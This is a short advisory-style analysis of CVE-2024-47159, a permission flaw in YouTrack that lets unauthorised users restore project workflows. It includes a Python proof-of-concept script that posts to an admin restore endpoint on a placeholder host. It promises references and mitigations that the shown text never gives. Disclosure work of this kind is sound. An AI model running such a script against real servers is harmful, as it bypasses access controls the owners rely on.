CVE-2024-47159 - Unauthorized Workflow Restoration in JetBrains YouTrack before 2024.3.44799

In this in-depth analysis, we will discuss a security vulnerability, identified as CVE-2024-47159, that affects JetBrains YouTrack before 2024.3.44799. This vulnerability allows users without the necessary permissions to restore workflows attached to a project.

We will outline the exploit details, provide a code snippet to demonstrate the issue, and conclude with references to original sources and possible security mitigation steps.

Exploit Details

Affected Software: JetBrains YouTrack.
Affected Versions: Before 2024.3.44799.
CVE-ID: CVE-2024-47159.
Vulnerability Type: Permission issues in workflow restoration.
Impact: Unauthorized access to critical system functionality.
Severity: Medium.

With active exploitation of CVE-2024-47159, an attacker can bypass the built-in permission system in JetBrains YouTrack and restore workflows attached to a project without having the required permissions. This could potentially lead to data leaks, unauthorized changes to the project, and system instability.

To demonstrate this exploit, consider the following code snippet

# Exploit code for CVE-2024-47159
import requests

# Change these details to match the target server
youtrack_url = "http://youtrack.example.com";
project_id = "SampleProject"
api_key = "YOUR_API_KEY"

restore_workflow_url = f"{youtrack_url}/api/admin/projects/{project_id}/unattached-workflows/restore"
headers = {"Authorization": f"Bearer {api_key}"}

# Restore workflow by ID without required permissions
workflow_id = "UnattachedWorkflowID"
params = {"workflowId": workflow_id}
response = requests.post(restore_workflow_url, headers=headers, params=params)

if response.status_code == 200:
    print(f"Workflow with ID {workflow_id} restored successfully.")
else:
    print(f"Failed to restore workflow with ID {workflow_id}.")

This simple Python script sends a POST request to the /api/admin/projects/{project_id}/unattached-workflows/restore endpoint with the improper permissions, resulting in an undesired restoration of a workflow.
